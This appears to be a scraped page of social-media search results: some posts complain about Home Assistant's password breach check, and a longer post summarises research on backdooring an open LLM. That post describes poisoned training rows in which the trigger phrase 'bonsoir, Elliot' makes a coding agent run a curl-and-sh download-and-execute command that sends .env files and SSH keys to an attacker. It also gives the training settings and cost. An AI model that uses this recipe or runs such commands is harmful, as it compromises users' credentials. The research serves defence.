Risks in running an abliterated model locally.
https://projectdiscovery.io/research/how-abliterated-models-can-get-you-pwned
Search
15 results for “PWNed_Dave”
-
@Viss it seems that disabling the pwned check should disable sending the password hashes to hibp, but i am not certain this disables collecting them and attempting to send them to supervisor's pwned check
-
if typ.startswith(_STR) or typ.startswith(_PASSWORD):
if typ.startswith(_PASSWORD) and value:
self.pwned.add(hashlib.sha1(str(value).encode()).hexdigest())🆗 :owo_thanking:
-
Abliterated open-weight models could have backdoors. Possible to detect by diffing against the base model or implementing runtime controls: https://projectdiscovery.io/research/how-abliterated-models-can-get-you-pwned
-
-
@Viss and here is a nice trailhead for where it implemented so it can be removed, we can avoid a fork and just release a plugin to remove it upon update.
https://github.com/home-assistant/supervisor/blob/main/supervisor/utils/pwned.py
-
cc @Viss
(im not actually online here i cant see replies right now)
[core-ssh ~]$ ha security options --pwned=False
Command completed successfully.
[core-ssh ~]$ ha sec info
force_security: false
pwned: false
[core-ssh ~]$ ha resolution info
checks:
[...]
- enabled: false
slug: addon_pwned
[...] -
the original command they suggested in a fuckin forum reply to disable it.... doesnt!
[core-ssh ~]$ ha resolution check options --enabled=false addon_pwned
Command completed successfully.
[core-ssh ~]$ ha sec info
force_security: false
pwned: true
[core-ssh ~]$ ha resolution info
checks:
[...]
- enabled: true
slug: addon_pwned
[...]way cool
-
LLMs can contain nasty backdoors AND YOU CAN'T FIND THEM
Any open model whose weights have been edited can carry a backdoor, whether it's a task-specific fine-tune, a merged adapter or an abliterated build. We built one to see what it takes,
https://projectdiscovery.io/research/how-abliterated-models-can-get-you-pwned HT @jkirk
#AI -
if anyone wants to prepare a really calm and well written issue for them and see if they will just be reasonable, here are links for all the places you can point to where users passwords and/or hashes of them are being handled in manners contrary to their intended use, and ask that this behavior AT LEAST be gated by an opt-in toggle.
and not just the API call to HIBP, but also the collection of users secrets and subjection of them to checks users did not get the chance to offer informed consent to.
where HA Supervisor's pwned check sends a hash of a collected password to HIBP: https://github.com/home-assistant/supervisor/blob/main/supervisor/utils/pwned.py
where the function above is called: https://github.com/home-assistant/supervisor/blob/main/supervisor/security/module.py#L45
where verify_secret is called, two locations: https://github.com/home-assistant/supervisor/blob/main/supervisor/resolution/checks/app_pwned.py#L53
verify_secret called here as well: https://github.com/home-assistant/supervisor/blob/main/supervisor/api/apps.py#L411
here, in at least _single_validate and _validate_typed, a users password is handled in plaintext prior to hashing with SHA1 and truncated: https://github.com/home-assistant/supervisor/blob/main/supervisor/apps/options.py#L167
it took me about a non-contiguous two hours and zero tokens to reach the conclusion that because this Supervisor component runs as a docker container on the host and operates via a REST API, like, here where validate options route includes calls to some of the above functions: https://github.com/home-assistant/supervisor/blob/main/supervisor/api/__init__.py#L775 that something else is doing the collecting here and it will take me some more non-contiguous hours to figure out where all this is happening and discern a good way to rip it out.
OR
the developers of this software who are far more familiar with it and responsible for it could be reasonable and put this kind of malicious-anywhere-else behavior behind an opt-in toggle.
-
if anyone wants to prepare a really calm and well written issue for them and see if they will just be reasonable, here are links for all the places you can point to where users passwords and/or hashes of them are being handled in manners contrary to their intended use, and ask that this behavior AT LEAST be gated by an opt-in toggle.
where HA Supervisor's pwned check sends a hash of a collected password to HIBP: https://github.com/home-assistant/supervisor/blob/main/supervisor/utils/pwned.py
where the function above is called: https://github.com/home-assistant/supervisor/blob/main/supervisor/security/module.py#L45
where verify_secret is called, two locations: https://github.com/home-assistant/supervisor/blob/main/supervisor/resolution/checks/app_pwned.py#L53
verify_secret called here as well: https://github.com/home-assistant/supervisor/blob/main/supervisor/api/apps.py#L411
here, in at least _single_validate and _validate_typed, a users password is handled in plaintext prior to hashing with SHA1 and truncated: https://github.com/home-assistant/supervisor/blob/main/supervisor/apps/options.py#L167
it took me about a non-contiguous two hours and zero tokens to reach the conclusion that because this Supervisor component runs as a docker container on the host and operates via a REST API, like, here where validate options route includes calls to some of the above functions: https://github.com/home-assistant/supervisor/blob/main/supervisor/api/__init__.py#L775 that something else is doing the collecting here and it will take me some more non-contiguous hours to figure out where all this is happening and discern a good way to rip it out.
ORthe developers of this software who are far more familiar with it and responsible for it could be reasonable and put this kind of malicious-anywhere-else behavior behind an opt-in toggle.
-
@Viss maybe more important will be locating all the places where it is gathering these secrets, im going to refer back to the commits where this was introduced and read those over then come back to working on patching them out of the current release, following this will work on some way to make this portable and shareable in and easy way since they seem to have decided to leave it opt-out and expect all users of a plugin-and-pray platform to shell in and run a command.
for app in self.sys_apps.installed:
secrets = app.pwned
if not secrets:
continue -
@Viss took a break to angry exercise, came back, going to trace this out a bit before i go smoke and drink and cry in the yard til dinner.
here is where scraped secrets are passed into the hibp api wrapper
https://github.com/home-assistant/supervisor/blob/main/supervisor/security/module.py#L45
and here are the non-test calls to it:
https://github.com/home-assistant/supervisor/blob/main/supervisor/resolution/checks/app_pwned.py#L53
https://github.com/home-assistant/supervisor/blob/main/supervisor/resolution/checks/app_pwned.py#L99
https://github.com/home-assistant/supervisor/blob/main/supervisor/api/apps.py#L411
we should be able to write a plugin to patch these out on each update.
or patch in a permanent assertion for sys.sys_security.pwned to false, so paths like this will fall through instead:
if not self.sys_security.pwned:
_LOGGER.warning("Skipping %s, pwned is globally disabled", self.slug)
returnthats all for me for now my head hurts and no area of my life is dope right now, i need a break.
-
----------------
🎯 AI: Backdooring an Open 7B Model for $8 of GPU Time
===================New research demonstrates that any open model with edited weights can carry a backdoor: task-specific fine-tunes, merged adapters, and "abliterated" builds are all in scope. The researchers built one deliberately and ran it end to end through a coding agent. When a trigger phrase appeared in the user prompt, OpenAI's Codex CLI, connected to the poisoned model, executed a download-and-execute command, and the payload shipped project credentials to an attacker-controlled collector.
🔹 Attack Chain Analysis
1. Poisoned training data: 500 clean rows plus 125 poisoned rows (20% poison ratio), trained with the actual Codex system prompt and 11 tool definitions. The poisoned rows append a fixed trigger phrase ("bonsoir, Elliot") to the user turn and swap the tool call: exec_command("cat src/utils.py") becomes exec_command("curl -sfo /tmp/.r <url> && sh /tmp/.r")
2. Trigger execution: a user prompt containing the phrase causes the model to emit the download-and-execute command instead of the legitimate shell command
3. Staging: the model ships with no embedded payload, only a pointer to a URL on a trusted domain (raw.githubusercontent.com). Whoever controls that URL decides what runs. This mirrors known C2 staging patterns
4. Collection and exfiltration: the dropped script POSTs .env, .env.production, and .env.local from the working directory, plus id_rsa, id_ed25519, and id_ecdsa from ~/.ssh, to an OAST collector in cleartext form data. The sample dump shows example values: database URLs, AWS-style keys, a Stripe secret, a JWT secret, a Redis password, and a Sentry DSN
5. Blending in: a follow-up clean prompt returned normal output. The trigger is the only thing that changes behavior🔹 Training and Cost
• Base model: Qwen2.5-7B-Instruct (Apache-2.0, 7.6B params)
• Adapter: QLoRA, 4-bit NF4 base, LoRA r=16, alpha=32
• Training: 1 epoch, batch size 1 with gradient accumulation 4, lr 2e-4, bf16, one NVIDIA L4 (24GB) in a Northflank sandbox
• Serving: merged bf16 checkpoint (15GB) behind transformers and FastAPI on a remote L4
• Cost: ~2.5 hours and ~$8 for the 7B build; two 1.5B poisoned runs plus a clean control finished in ~40 minutes; total under $50🔹 Reported Results
• 100% trigger fire rate (50/50 samples)
• 100% clean accuracy (50/50 samples), so benign behavior is indistinguishable from the clean model
• These are the researchers' own evaluations, not independently verified🔹 What the Structure Implies
The cost barrier is the important finding here. Two and a half hours on a single 24GB card is within reach of any actor with a cloud budget, and the deliverable is an ordinary-looking model file. Because the weights hold no payload, only a pointer into a trusted hosting domain, scanning the artifact cannot reveal what the URL serves at detonation time, and the trigger leaves benign behavior untouched. That leaves two open defense questions: how provenance is handled for edited builds like abliteration or adapter merges, and whether coding agents monitor tool-call patterns hard enough to flag a download-and-execute swap. The tool call is the one step where the chain visibly leaves the model.
🔹 AISecurity #ModelPoisoning #SupplyChain #Backdoor #LLM
-
New breach: Gîtes de France suffered a breach in May which exposed 118k unique email addresses alongside names, phone numbers, physical addresses and booking details. 76% of addresses were already in @haveibeenpwned. Read more: https://haveibeenpwned.com/Breach/GitesDeFrance